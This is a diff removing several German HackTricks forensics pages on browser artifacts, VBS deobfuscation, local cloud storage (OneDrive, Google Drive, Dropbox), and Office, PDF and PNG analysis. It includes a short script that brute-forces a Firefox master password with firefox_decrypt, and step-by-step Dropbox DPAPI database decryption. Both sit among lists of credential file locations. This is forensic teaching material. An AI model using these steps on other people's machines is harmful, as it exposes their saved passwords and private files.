108 INFO: Platform: Windows-10-10.0.16299
|
||||
………………………………
|
||||
5967 INFO: checking EXE
|
||||
5967 INFO: Building EXE because out00-EXE.toc is non existent
|
||||
5982 INFO: Building EXE from out00-EXE.toc
|
||||
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
|
||||
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
|
||||
```
|
||||
## Referenzen
|
||||
|
||||
- [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,41 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Hier finden Sie interessante Tricks für spezifische Dateitypen und/oder Software:
|
||||
|
||||
{{#ref}}
|
||||
.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
browser-artifacts.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
desofuscation-vbs-cscript.exe.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
local-cloud-storage.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
office-file-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
pdf-file-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
png-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
video-and-audio-file-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
zips-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,162 +0,0 @@
|
||||
# Browser Artefakte
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Browser Artefakte <a href="#id-3def" id="id-3def"></a>
|
||||
|
||||
Browserartefakte umfassen verschiedene Arten von Daten, die von Webbrowsern gespeichert werden, wie z. B. Navigationsverlauf, Lesezeichen und Cache-Daten. Diese Artefakte werden in spezifischen Ordnern innerhalb des Betriebssystems aufbewahrt, die sich in Standort und Namen zwischen den Browsern unterscheiden, jedoch im Allgemeinen ähnliche Datentypen speichern.
|
||||
|
||||
Hier ist eine Zusammenfassung der häufigsten Browserartefakte:
|
||||
|
||||
- **Navigationsverlauf**: Verfolgt die Besuche des Benutzers auf Websites, nützlich zur Identifizierung von Besuchen auf bösartigen Seiten.
|
||||
- **Autocomplete-Daten**: Vorschläge basierend auf häufigen Suchen, die Einblicke bieten, wenn sie mit dem Navigationsverlauf kombiniert werden.
|
||||
- **Lesezeichen**: Von Benutzern gespeicherte Seiten für den schnellen Zugriff.
|
||||
- **Erweiterungen und Add-ons**: Vom Benutzer installierte Browsererweiterungen oder Add-ons.
|
||||
- **Cache**: Speichert Webinhalte (z. B. Bilder, JavaScript-Dateien), um die Ladezeiten von Websites zu verbessern, wertvoll für die forensische Analyse.
|
||||
- **Logins**: Gespeicherte Anmeldeinformationen.
|
||||
- **Favicons**: Icons, die mit Websites verbunden sind und in Tabs und Lesezeichen erscheinen, nützlich für zusätzliche Informationen zu Benutzerbesuchen.
|
||||
- **Browser-Sitzungen**: Daten zu offenen Browsersitzungen.
|
||||
- **Downloads**: Aufzeichnungen von über den Browser heruntergeladenen Dateien.
|
||||
- **Formulardaten**: Informationen, die in Webformularen eingegeben werden, gespeichert für zukünftige Autofill-Vorschläge.
|
||||
- **Thumbnails**: Vorschau-Bilder von Websites.
|
||||
- **Custom Dictionary.txt**: Vom Benutzer zum Wörterbuch des Browsers hinzugefügte Wörter.
|
||||
|
||||
## Firefox
|
||||
|
||||
Firefox organisiert Benutzerdaten innerhalb von Profilen, die an spezifischen Orten basierend auf dem Betriebssystem gespeichert sind:
|
||||
|
||||
- **Linux**: `~/.mozilla/firefox/`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||
|
||||
Eine `profiles.ini`-Datei innerhalb dieser Verzeichnisse listet die Benutzerprofile auf. Die Daten jedes Profils werden in einem Ordner gespeichert, der im `Path`-Variablen innerhalb von `profiles.ini` benannt ist, der sich im selben Verzeichnis wie `profiles.ini` selbst befindet. Wenn der Ordner eines Profils fehlt, könnte er gelöscht worden sein.
|
||||
|
||||
Innerhalb jedes Profilordners finden Sie mehrere wichtige Dateien:
|
||||
|
||||
- **places.sqlite**: Speichert Verlauf, Lesezeichen und Downloads. Tools wie [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) auf Windows können auf die Verlaufsdaten zugreifen.
|
||||
- Verwenden Sie spezifische SQL-Abfragen, um Informationen zu Verlauf und Downloads zu extrahieren.
|
||||
- **bookmarkbackups**: Enthält Backups von Lesezeichen.
|
||||
- **formhistory.sqlite**: Speichert Webformulardaten.
|
||||
- **handlers.json**: Verwaltet Protokollhandler.
|
||||
- **persdict.dat**: Benutzerdefinierte Wörter im Wörterbuch.
|
||||
- **addons.json** und **extensions.sqlite**: Informationen zu installierten Add-ons und Erweiterungen.
|
||||
- **cookies.sqlite**: Cookie-Speicher, mit [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) verfügbar zur Inspektion auf Windows.
|
||||
- **cache2/entries** oder **startupCache**: Cache-Daten, zugänglich über Tools wie [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
|
||||
- **favicons.sqlite**: Speichert Favicons.
|
||||
- **prefs.js**: Benutzereinstellungen und -präferenzen.
|
||||
- **downloads.sqlite**: Ältere Downloads-Datenbank, jetzt in places.sqlite integriert.
|
||||
- **thumbnails**: Website-Thumbnails.
|
||||
- **logins.json**: Verschlüsselte Anmeldeinformationen.
|
||||
- **key4.db** oder **key3.db**: Speichert Verschlüsselungsschlüssel zum Schutz sensibler Informationen.
|
||||
|
||||
Zusätzlich kann die Überprüfung der Anti-Phishing-Einstellungen des Browsers erfolgen, indem nach `browser.safebrowsing`-Einträgen in `prefs.js` gesucht wird, die anzeigen, ob die Funktionen für sicheres Browsen aktiviert oder deaktiviert sind.
|
||||
|
||||
Um das Master-Passwort zu entschlüsseln, können Sie [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt) verwenden.\
|
||||
Mit dem folgenden Skript und Aufruf können Sie eine Passwortdatei zum Brute-Forcen angeben:
|
||||
```bash:brute.sh
|
||||
#!/bin/bash
|
||||
|
||||
#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:"
|
||||
passfile=$1
|
||||
while read pass; do
|
||||
echo "Trying $pass"
|
||||
echo "$pass" | python firefox_decrypt.py
|
||||
done < $passfile
|
||||
```
|
||||
.png>)
|
||||
|
||||
## Google Chrome
|
||||
|
||||
Google Chrome speichert Benutzerprofile an bestimmten Orten, abhängig vom Betriebssystem:
|
||||
|
||||
- **Linux**: `~/.config/google-chrome/`
|
||||
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||
|
||||
Innerhalb dieser Verzeichnisse sind die meisten Benutzerdaten in den Ordnern **Default/** oder **ChromeDefaultData/** zu finden. Die folgenden Dateien enthalten bedeutende Daten:
|
||||
|
||||
- **History**: Enthält URLs, Downloads und Suchbegriffe. Unter Windows kann [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) verwendet werden, um die Historie zu lesen. Die Spalte "Transition Type" hat verschiedene Bedeutungen, einschließlich Benutzerklicks auf Links, eingegebene URLs, Formularübermittlungen und Seitenaktualisierungen.
|
||||
- **Cookies**: Speichert Cookies. Zur Inspektion steht [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) zur Verfügung.
|
||||
- **Cache**: Hält zwischengespeicherte Daten. Zur Inspektion können Windows-Benutzer [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) nutzen.
|
||||
- **Bookmarks**: Benutzer-Lesezeichen.
|
||||
- **Web Data**: Enthält Formularhistorie.
|
||||
- **Favicons**: Speichert Website-Favicons.
|
||||
- **Login Data**: Enthält Anmeldeinformationen wie Benutzernamen und Passwörter.
|
||||
- **Current Session**/**Current Tabs**: Daten über die aktuelle Browsersitzung und geöffnete Tabs.
|
||||
- **Last Session**/**Last Tabs**: Informationen über die während der letzten Sitzung aktiven Seiten, bevor Chrome geschlossen wurde.
|
||||
- **Extensions**: Verzeichnisse für Browsererweiterungen und Addons.
|
||||
- **Thumbnails**: Speichert Website-Thumbnails.
|
||||
- **Preferences**: Eine informationsreiche Datei, die Einstellungen für Plugins, Erweiterungen, Pop-ups, Benachrichtigungen und mehr enthält.
|
||||
- **Browser’s built-in anti-phishing**: Um zu überprüfen, ob der Anti-Phishing- und Malware-Schutz aktiviert ist, führen Sie `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` aus. Suchen Sie nach `{"enabled: true,"}` in der Ausgabe.
|
||||
|
||||
## **SQLite DB Datenwiederherstellung**
|
||||
|
||||
Wie in den vorherigen Abschnitten zu beobachten ist, verwenden sowohl Chrome als auch Firefox **SQLite**-Datenbanken zur Speicherung der Daten. Es ist möglich, **gelöschte Einträge mit dem Tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **oder** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) **wiederherzustellen**.
|
||||
|
||||
## **Internet Explorer 11**
|
||||
|
||||
Internet Explorer 11 verwaltet seine Daten und Metadaten an verschiedenen Orten, um die gespeicherten Informationen und deren entsprechende Details für einen einfachen Zugriff und eine einfache Verwaltung zu trennen.
|
||||
|
||||
### Metadatenspeicherung
|
||||
|
||||
Metadaten für Internet Explorer werden in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` gespeichert (wobei VX V01, V16 oder V24 sein kann). Begleitend dazu könnte die Datei `V01.log` Abweichungen in der Änderungszeit im Vergleich zu `WebcacheVX.data` anzeigen, was auf einen Reparaturbedarf mit `esentutl /r V01 /d` hinweist. Diese Metadaten, die in einer ESE-Datenbank gespeichert sind, können mit Tools wie photorec und [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) wiederhergestellt und inspiziert werden. Innerhalb der **Containers**-Tabelle kann man die spezifischen Tabellen oder Container erkennen, in denen jedes Datensegment gespeichert ist, einschließlich Cache-Details für andere Microsoft-Tools wie Skype.
|
||||
|
||||
### Cache-Inspektion
|
||||
|
||||
Das Tool [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) ermöglicht die Inspektion des Caches und erfordert den Speicherort des Ordners zur Extraktion der Cache-Daten. Die Metadaten für den Cache umfassen Dateinamen, Verzeichnis, Zugriffsanzahl, URL-Ursprung und Zeitstempel, die die Erstellung, den Zugriff, die Änderung und die Ablaufzeiten des Caches anzeigen.
|
||||
|
||||
### Cookie-Verwaltung
|
||||
|
||||
Cookies können mit [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) erkundet werden, wobei die Metadaten Namen, URLs, Zugriffsanzahlen und verschiedene zeitbezogene Details umfassen. Persistente Cookies werden in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` gespeichert, während Sitzungscookies im Speicher verbleiben.
|
||||
|
||||
### Download-Details
|
||||
|
||||
Metadaten zu Downloads sind über [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) zugänglich, wobei spezifische Container Daten wie URL, Dateityp und Downloadort enthalten. Physische Dateien sind unter `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` zu finden.
|
||||
|
||||
### Browserverlauf
|
||||
|
||||
Um den Browserverlauf zu überprüfen, kann [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) verwendet werden, wobei der Speicherort der extrahierten Verlaufsdateien und die Konfiguration für Internet Explorer erforderlich sind. Die Metadaten hier umfassen Änderungs- und Zugriffszeiten sowie Zugriffsanzahlen. Verlaufsdateien befinden sich in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
|
||||
|
||||
### Eingetippte URLs
|
||||
|
||||
Eingetippte URLs und deren Nutzungszeiten werden im Registrierungseditor unter `NTUSER.DAT` bei `Software\Microsoft\InternetExplorer\TypedURLs` und `Software\Microsoft\InternetExplorer\TypedURLsTime` gespeichert, wobei die letzten 50 vom Benutzer eingegebenen URLs und deren letzte Eingabezeiten verfolgt werden.
|
||||
|
||||
## Microsoft Edge
|
||||
|
||||
Microsoft Edge speichert Benutzerdaten in `%userprofile%\Appdata\Local\Packages`. Die Pfade für verschiedene Datentypen sind:
|
||||
|
||||
- **Profilpfad**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
- **Verlauf, Cookies und Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
- **Einstellungen, Lesezeichen und Leseliste**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
||||
- **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
|
||||
- **Letzte aktive Sitzungen**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
|
||||
|
||||
## Safari
|
||||
|
||||
Safari-Daten werden unter `/Users/$User/Library/Safari` gespeichert. Wichtige Dateien sind:
|
||||
|
||||
- **History.db**: Enthält die Tabellen `history_visits` und `history_items` mit URLs und Besuchszeitstempeln. Verwenden Sie `sqlite3`, um Abfragen durchzuführen.
|
||||
- **Downloads.plist**: Informationen über heruntergeladene Dateien.
|
||||
- **Bookmarks.plist**: Speichert die Lesezeichen-URLs.
|
||||
- **TopSites.plist**: Am häufigsten besuchte Seiten.
|
||||
- **Extensions.plist**: Liste der Safari-Browsererweiterungen. Verwenden Sie `plutil` oder `pluginkit`, um sie abzurufen.
|
||||
- **UserNotificationPermissions.plist**: Domains, die Benachrichtigungen senden dürfen. Verwenden Sie `plutil`, um sie zu parsen.
|
||||
- **LastSession.plist**: Tabs aus der letzten Sitzung. Verwenden Sie `plutil`, um sie zu parsen.
|
||||
- **Browser’s built-in anti-phishing**: Überprüfen Sie mit `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Eine Antwort von 1 zeigt an, dass die Funktion aktiv ist.
|
||||
|
||||
## Opera
|
||||
|
||||
Die Daten von Opera befinden sich in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` und verwenden das gleiche Format wie Chrome für Verlauf und Downloads.
|
||||
|
||||
- **Browser’s built-in anti-phishing**: Überprüfen Sie, ob `fraud_protection_enabled` in der Preferences-Datei auf `true` gesetzt ist, indem Sie `grep` verwenden.
|
||||
|
||||
Diese Pfade und Befehle sind entscheidend für den Zugriff auf und das Verständnis der von verschiedenen Webbrowsern gespeicherten Browsing-Daten.
|
||||
|
||||
## References
|
||||
|
||||
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
|
||||
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
|
||||
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
|
||||
- **Buch: OS X Incident Response: Scripting and Analysis von Jaron Bradley, Seite 123**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,42 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Einige Dinge, die nützlich sein könnten, um eine bösartige VBS-Datei zu debuggen/deobfuskieren:
|
||||
|
||||
## echo
|
||||
```bash
|
||||
Wscript.Echo "Like this?"
|
||||
```
|
||||
## Kommentare
|
||||
```bash
|
||||
' this is a comment
|
||||
```
|
||||
## Test
|
||||
```bash
|
||||
cscript.exe file.vbs
|
||||
```
|
||||
## Daten in eine Datei schreiben
|
||||
```js
|
||||
Function writeBinary(strBinary, strPath)
|
||||
|
||||
Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
|
||||
|
||||
' below lines purpose: checks that write access is possible!
|
||||
Dim oTxtStream
|
||||
|
||||
On Error Resume Next
|
||||
Set oTxtStream = oFSO.createTextFile(strPath)
|
||||
|
||||
If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
|
||||
On Error GoTo 0
|
||||
|
||||
Set oTxtStream = Nothing
|
||||
' end check of write access
|
||||
|
||||
With oFSO.createTextFile(strPath)
|
||||
.Write(strBinary)
|
||||
.Close
|
||||
End With
|
||||
|
||||
End Function
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,96 +0,0 @@
|
||||
# Lokaler Cloud-Speicher
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## OneDrive
|
||||
|
||||
In Windows finden Sie den OneDrive-Ordner unter `\Users\<username>\AppData\Local\Microsoft\OneDrive`. Und im Inneren von `logs\Personal` ist es möglich, die Datei `SyncDiagnostics.log` zu finden, die einige interessante Daten zu den synchronisierten Dateien enthält:
|
||||
|
||||
- Größe in Bytes
|
||||
- Erstellungsdatum
|
||||
- Änderungsdatum
|
||||
- Anzahl der Dateien in der Cloud
|
||||
- Anzahl der Dateien im Ordner
|
||||
- **CID**: Eindeutige ID des OneDrive-Benutzers
|
||||
- Berichtserstellungszeit
|
||||
- Größe der HD des Betriebssystems
|
||||
|
||||
Sobald Sie die CID gefunden haben, wird empfohlen, **Dateien zu suchen, die diese ID enthalten**. Möglicherweise finden Sie Dateien mit den Namen: _**\<CID>.ini**_ und _**\<CID>.dat**_, die interessante Informationen wie die Namen der mit OneDrive synchronisierten Dateien enthalten können.
|
||||
|
||||
## Google Drive
|
||||
|
||||
In Windows finden Sie den Hauptordner von Google Drive unter `\Users\<username>\AppData\Local\Google\Drive\user_default`\
|
||||
Dieser Ordner enthält eine Datei namens Sync_log.log mit Informationen wie der E-Mail-Adresse des Kontos, Dateinamen, Zeitstempeln, MD5-Hashes der Dateien usw. Selbst gelöschte Dateien erscheinen in dieser Protokolldatei mit dem entsprechenden MD5.
|
||||
|
||||
Die Datei **`Cloud_graph\Cloud_graph.db`** ist eine SQLite-Datenbank, die die Tabelle **`cloud_graph_entry`** enthält. In dieser Tabelle finden Sie den **Namen** der **synchronisierten** **Dateien**, das Änderungsdatum, die Größe und die MD5-Prüfziffer der Dateien.
|
||||
|
||||
Die Tabellendaten der Datenbank **`Sync_config.db`** enthalten die E-Mail-Adresse des Kontos, den Pfad der freigegebenen Ordner und die Google Drive-Version.
|
||||
|
||||
## Dropbox
|
||||
|
||||
Dropbox verwendet **SQLite-Datenbanken**, um die Dateien zu verwalten. In diesem\
|
||||
Sie finden die Datenbanken in den Ordnern:
|
||||
|
||||
- `\Users\<username>\AppData\Local\Dropbox`
|
||||
- `\Users\<username>\AppData\Local\Dropbox\Instance1`
|
||||
- `\Users\<username>\AppData\Roaming\Dropbox`
|
||||
|
||||
Und die Hauptdatenbanken sind:
|
||||
|
||||
- Sigstore.dbx
|
||||
- Filecache.dbx
|
||||
- Deleted.dbx
|
||||
- Config.dbx
|
||||
|
||||
Die ".dbx"-Erweiterung bedeutet, dass die **Datenbanken** **verschlüsselt** sind. Dropbox verwendet **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN>))
|
||||
|
||||
Um die Verschlüsselung, die Dropbox verwendet, besser zu verstehen, können Sie [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html) lesen.
|
||||
|
||||
Die wichtigsten Informationen sind jedoch:
|
||||
|
||||
- **Entropy**: d114a55212655f74bd772e37e64aee9b
|
||||
- **Salt**: 0D638C092E8B82FC452883F95F355B8E
|
||||
- **Algorithmus**: PBKDF2
|
||||
- **Iterationen**: 1066
|
||||
|
||||
Neben diesen Informationen benötigen Sie zur Entschlüsselung der Datenbanken noch:
|
||||
|
||||
- Den **verschlüsselten DPAPI-Schlüssel**: Sie finden ihn in der Registrierung unter `NTUSER.DAT\Software\Dropbox\ks\client` (exportieren Sie diese Daten als Binärdatei)
|
||||
- Die **`SYSTEM`**- und **`SECURITY`**-Hives
|
||||
- Die **DPAPI-Master-Schlüssel**: Diese finden Sie unter `\Users\<username>\AppData\Roaming\Microsoft\Protect`
|
||||
- Den **Benutzernamen** und das **Passwort** des Windows-Benutzers
|
||||
|
||||
Dann können Sie das Tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:**
|
||||
|
||||
.png>)
|
||||
|
||||
Wenn alles wie erwartet verläuft, zeigt das Tool den **primären Schlüssel** an, den Sie **verwenden müssen, um den ursprünglichen wiederherzustellen**. Um den ursprünglichen wiederherzustellen, verwenden Sie einfach dieses [cyber_chef Rezept](<https://gchq.github.io/CyberChef/index.html#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)>) und setzen den primären Schlüssel als "Passphrase" in das Rezept ein.
|
||||
|
||||
Das resultierende Hex ist der endgültige Schlüssel, der zur Verschlüsselung der Datenbanken verwendet wird, die entschlüsselt werden können mit:
|
||||
```bash
|
||||
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
|
||||
```
|
||||
Die **`config.dbx`** Datenbank enthält:
|
||||
|
||||
- **Email**: Die E-Mail des Benutzers
|
||||
- **usernamedisplayname**: Der Name des Benutzers
|
||||
- **dropbox_path**: Pfad, wo der Dropbox-Ordner gespeichert ist
|
||||
- **Host_id: Hash** verwendet zur Authentifizierung in der Cloud. Dies kann nur über das Web widerrufen werden.
|
||||
- **Root_ns**: Benutzeridentifikator
|
||||
|
||||
Die **`filecache.db`** Datenbank enthält Informationen über alle Dateien und Ordner, die mit Dropbox synchronisiert sind. Die Tabelle `File_journal` enthält die nützlichsten Informationen:
|
||||
|
||||
- **Server_path**: Pfad, wo die Datei auf dem Server gespeichert ist (dieser Pfad wird durch die `host_id` des Clients vorangestellt).
|
||||
- **local_sjid**: Version der Datei
|
||||
- **local_mtime**: Änderungsdatum
|
||||
- **local_ctime**: Erstellungsdatum
|
||||
|
||||
Andere Tabellen in dieser Datenbank enthalten interessantere Informationen:
|
||||
|
||||
- **block_cache**: Hash aller Dateien und Ordner von Dropbox
|
||||
- **block_ref**: Verknüpft die Hash-ID der Tabelle `block_cache` mit der Datei-ID in der Tabelle `file_journal`
|
||||
- **mount_table**: Freigabeverzeichnisse von Dropbox
|
||||
- **deleted_fields**: Gelöschte Dateien von Dropbox
|
||||
- **date_added**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,18 +0,0 @@
|
||||
# Office-Dateianalyse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Für weitere Informationen siehe [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Dies ist nur eine Zusammenfassung:
|
||||
|
||||
Microsoft hat viele Office-Dokumentformate erstellt, wobei zwei Haupttypen **OLE-Formate** (wie RTF, DOC, XLS, PPT) und **Office Open XML (OOXML)-Formate** (wie DOCX, XLSX, PPTX) sind. Diese Formate können Makros enthalten, was sie zu Zielen für Phishing und Malware macht. OOXML-Dateien sind als Zip-Container strukturiert, was eine Inspektion durch Entpacken ermöglicht und die Datei- und Ordnerhierarchie sowie den Inhalt der XML-Dateien offenbart.
|
||||
|
||||
Um die OOXML-Dateistrukturen zu erkunden, werden der Befehl zum Entpacken eines Dokuments und die Ausgabe der Struktur angegeben. Techniken zum Verstecken von Daten in diesen Dateien sind dokumentiert, was auf eine fortlaufende Innovation bei der Datenverbergung innerhalb von CTF-Herausforderungen hinweist.
|
||||
|
||||
Für die Analyse bieten **oletools** und **OfficeDissector** umfassende Werkzeugsätze zur Untersuchung sowohl von OLE- als auch von OOXML-Dokumenten. Diese Tools helfen bei der Identifizierung und Analyse eingebetteter Makros, die oft als Vektoren für die Bereitstellung von Malware dienen, typischerweise durch Herunterladen und Ausführen zusätzlicher bösartiger Payloads. Die Analyse von VBA-Makros kann ohne Microsoft Office durchgeführt werden, indem Libre Office verwendet wird, das das Debuggen mit Haltepunkten und Überwachungsvariablen ermöglicht.
|
||||
|
||||
Die Installation und Nutzung von **oletools** ist unkompliziert, mit Befehlen zum Installieren über pip und zum Extrahieren von Makros aus Dokumenten. Die automatische Ausführung von Makros wird durch Funktionen wie `AutoOpen`, `AutoExec` oder `Document_Open` ausgelöst.
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,20 +0,0 @@
|
||||
# PDF-Dateianalyse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Für weitere Details siehe:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
Das PDF-Format ist bekannt für seine Komplexität und das Potenzial, Daten zu verbergen, was es zu einem Schwerpunkt für CTF-Forensik-Herausforderungen macht. Es kombiniert Text-Elemente mit binären Objekten, die komprimiert oder verschlüsselt sein können, und kann Skripte in Sprachen wie JavaScript oder Flash enthalten. Um die PDF-Struktur zu verstehen, kann man auf Didier Stevens' [einführendes Material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) zurückgreifen oder Werkzeuge wie einen Texteditor oder einen PDF-spezifischen Editor wie Origami verwenden.
|
||||
|
||||
Für eine eingehende Untersuchung oder Manipulation von PDFs stehen Werkzeuge wie [qpdf](https://github.com/qpdf/qpdf) und [Origami](https://github.com/mobmewireless/origami-pdf) zur Verfügung. Versteckte Daten innerhalb von PDFs können in folgenden Bereichen verborgen sein:
|
||||
|
||||
- Unsichtbare Ebenen
|
||||
- XMP-Metadatenformat von Adobe
|
||||
- Inkrementelle Generationen
|
||||
- Text in der gleichen Farbe wie der Hintergrund
|
||||
- Text hinter Bildern oder überlappenden Bildern
|
||||
- Nicht angezeigte Kommentare
|
||||
|
||||
Für benutzerdefinierte PDF-Analysen können Python-Bibliotheken wie [PeepDF](https://github.com/jesparza/peepdf) verwendet werden, um maßgeschneiderte Parsing-Skripte zu erstellen. Darüber hinaus ist das Potenzial von PDFs zur Speicherung versteckter Daten so groß, dass Ressourcen wie der NSA-Leitfaden zu PDF-Risiken und Gegenmaßnahmen, obwohl nicht mehr an seinem ursprünglichen Standort gehostet, weiterhin wertvolle Einblicke bieten. Eine [Kopie des Leitfadens](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) und eine Sammlung von [PDF-Format-Tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) von Ange Albertini können weitere Lektüre zu diesem Thema bieten.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,9 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**PNG-Dateien** sind in **CTF-Herausforderungen** aufgrund ihrer **verlustfreien Kompression** sehr geschätzt, was sie ideal für das Einbetten versteckter Daten macht. Tools wie **Wireshark** ermöglichen die Analyse von PNG-Dateien, indem sie deren Daten innerhalb von Netzwerkpaketen zerlegen und eingebettete Informationen oder Anomalien aufdecken.
|
||||
|
||||
Zur Überprüfung der Integrität von PNG-Dateien und zur Reparatur von Beschädigungen ist **pngcheck** ein wichtiges Tool, das eine Befehlszeilenfunktionalität bietet, um PNG-Dateien zu validieren und zu diagnostizieren ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Wenn Dateien über einfache Reparaturen hinausgehen, bieten Online-Dienste wie [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) eine webbasierte Lösung zum **Reparieren beschädigter PNGs**, die bei der Wiederherstellung wichtiger Daten für CTF-Teilnehmer hilft.
|
||||
|
||||
Diese Strategien unterstreichen die Bedeutung eines umfassenden Ansatzes in CTFs, der eine Kombination aus analytischen Tools und Reparaturtechniken nutzt, um versteckte oder verlorene Daten aufzudecken und wiederherzustellen.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,17 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Manipulation von Audio- und Videodateien** ist ein Grundpfeiler in **CTF-Forensik-Herausforderungen**, der **Steganographie** und Metadatenanalyse nutzt, um geheime Nachrichten zu verbergen oder offenzulegen. Werkzeuge wie **[mediainfo](https://mediaarea.net/en/MediaInfo)** und **`exiftool`** sind unerlässlich, um Dateimetadaten zu inspizieren und Inhaltstypen zu identifizieren.
|
||||
|
||||
